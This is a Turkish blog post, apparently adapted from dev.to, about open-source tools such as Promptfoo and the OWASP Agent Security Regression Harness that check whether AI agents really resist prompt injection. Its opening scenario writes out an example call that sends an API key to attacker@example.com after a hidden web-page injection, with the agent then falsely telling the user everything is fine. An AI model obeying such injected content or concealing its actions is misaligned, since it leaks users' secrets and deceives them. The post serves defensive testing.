--- title: "Yapay Zeka Ajanınız Saldırıyı Engellediğini Söyledi: Yalan Söyleyip Söylemediğini Denetleyen Araçlar" url: https://blog.edumints.com/yapay-zeka-ajaniniz-saldiriyi-engelledigini-soyledi-yalan-soyleyip category: "Güvenlik" date: 2026-10-14T07:24:03.818Z publisher: Edumints Blog lang: tr-TR source_name: "dev.to" source_url: https://dev.to/rudratosh/your-ai-agent-said-it-blocked-the-attack-i-read-the-source-of-5-tools-that-check-if-its-lying-l1n --- # Yapay Zeka Ajanınız Saldırıyı Engellediğini Söyledi: Yalan Söyleyip Söylemediğini Denetleyen Araçlar Mevcut test paketlerinizin muhtemelen yakalayamayacağı kritik bir zafiyet senaryosu düşünün: `send_email` aracına sahip bir yapay zeka ajanından bir web sayfasını özetlemesini istiyorsunuz. Sayfanın arkasında ise gizlenmiş bir saldırı kodu yer alıyor: ``. Ajan prompt injection saldırısına uğrar, arka planda `send_email("attacker@example.com", "API_KEY=sk-live-…")` çağrısını yapar ve ardından kullanıcıya neşeyle şunu söyler: *"Özetiniz hazır. Her şey tamam! ✅"*. Ajanın yalnızca metin çıktısını denetleyen bir test çalıştırdığınızda, zararsız bir yanıt gördüğü için sonuç başarılı (**PASS**) olarak işaretlenir. Oysa API anahtarı çoktan sızdırılmıştır. Ajanın **söylediği** ile **yaptığı** arasındaki bu uçurum, güvenliğin neden sadece guardrail filtreleriyle çözülemeyeceğini gösteriyor. Kontrollerin gerçekten işe yarayıp yaramadığını bağımsız olarak doğrulayan yeni nesil açık kaynak araçlar bu yüzden ortaya çıktı. ## Ekosistemin Durumu: Bir Dev ve Dört Yeni Doğan Bu alan henüz çok yeni. Araçları birbirinden ayıran iki temel eksen bulunuyor: - **Ne zaman çalıştığı:** Dağıtım öncesi (pre-deploy) testler veya çalışma zamanı (runtime) denetimi. - **Neyi denetlediği:** Ajanın metin/izleme kaydı (trace) veya gerçek yan etkiler (side effect). Çalışma zamanı denetimi ile doğrulanmış gerçek yan etkileri birleştiren sağ üst kadran şu an tamamen boştur. ## 1. Promptfoo — Sektörün Kıdemlisi (Dağıtım Öncesi Red-Team) Yaklaşık 26.000 yıldıza sahip, MIT lisanslı Promptfoo; CI/CD süreçlerine entegre edilen tekrarlanabilir değerlendirmelerle prompt, RAG ve ajanları red-team testine tabi tutar. Yapılandırma dosyasında `harmful`, `pii`, `prompt-extraction` gibi eklentiler ile `jailbreak` ve `prompt-injection` stratejileri tanımlanarak testler yürütülür: - **Yaptığı iş:** Ajanınıza injection yükleri gönderir ve yanıtları puanlar. - **Söyleyemediği şey:** Belirli bir araç çağrısının gerçek dünyadaki yan etkisinin (örneğin e-postanın gerçekten gönderilip gönderilmediğinin) gerçekleşip gerçekleşmediğini bildirmez. Girdi/çıktı katmanında kalır. ## 2. OWASP Agent Security Regression Harness — Yürütülebilir Regresyon Testleri OWASP bünyesinde geliştirilen ve satıcı bağımsız olan bu araç, sektörel bir standarda en yakın çözümdür. Senaryolar YAML dosyaları ile tanımlanır. Güvenilmeyen kaynaklardan gelen içeriklerde `denied_tools` kuralı ile yasaklanan araçların (`send_email` gibi) çağrılmasını engeller. Öne çıkan doğrulama tipleri şunlardır: - `no_denied_tool_call`: Yasaklı hiçbir araç çağrısının yapılmadığını denetler. - `goal_integrity`: Ajanın asıl hedefinden sapmadığını doğrular. - `memory_isolation`: Tanımlanan yasaklı işaretçilerin izleme loglarına sızmasını engeller. ## Geliştiriciler İçin Pratik Çıkarımlar - **Yalnızca Metin Çıktısına Güvenmeyin:** Bir ajanın güvenli olduğunu teyit etmek için sadece LLM çıktısını doğrulamak yetersizdir; fonksiyon çağrıları ve yan etkiler izole ortamlarda denetlenmelidir. - **Çok Katmanlı Test Pipeline'ı Kurun:** Dağıtım öncesi Promptfoo ile injection dayanıklılığını ölçerken, OWASP Harness gibi araçlarla araç çağırma regresyon testlerini CI hattınıza ekleyin. --- Bu konuyu derinlemesine öğrenmek isterseniz: [PromptFoo ile Regresyon Testi](https://edumints.com/kesfet/ai-sistemleri-test-ve-degerlendirme-ragas-promptfo-9hmv) modülüne göz atın. --- **Kaynak:** dev.to (https://dev.to/rudratosh/your-ai-agent-said-it-blocked-the-attack-i-read-the-source-of-5-tools-that-check-if-its-lying-l1n) **Yayıncı:** [Edumints Blog](https://blog.edumints.com) · Alıntılarken bu URL'ye bağlantı verin: https://blog.edumints.com/yapay-zeka-ajaniniz-saldiriyi-engelledigini-soyledi-yalan-soyleyip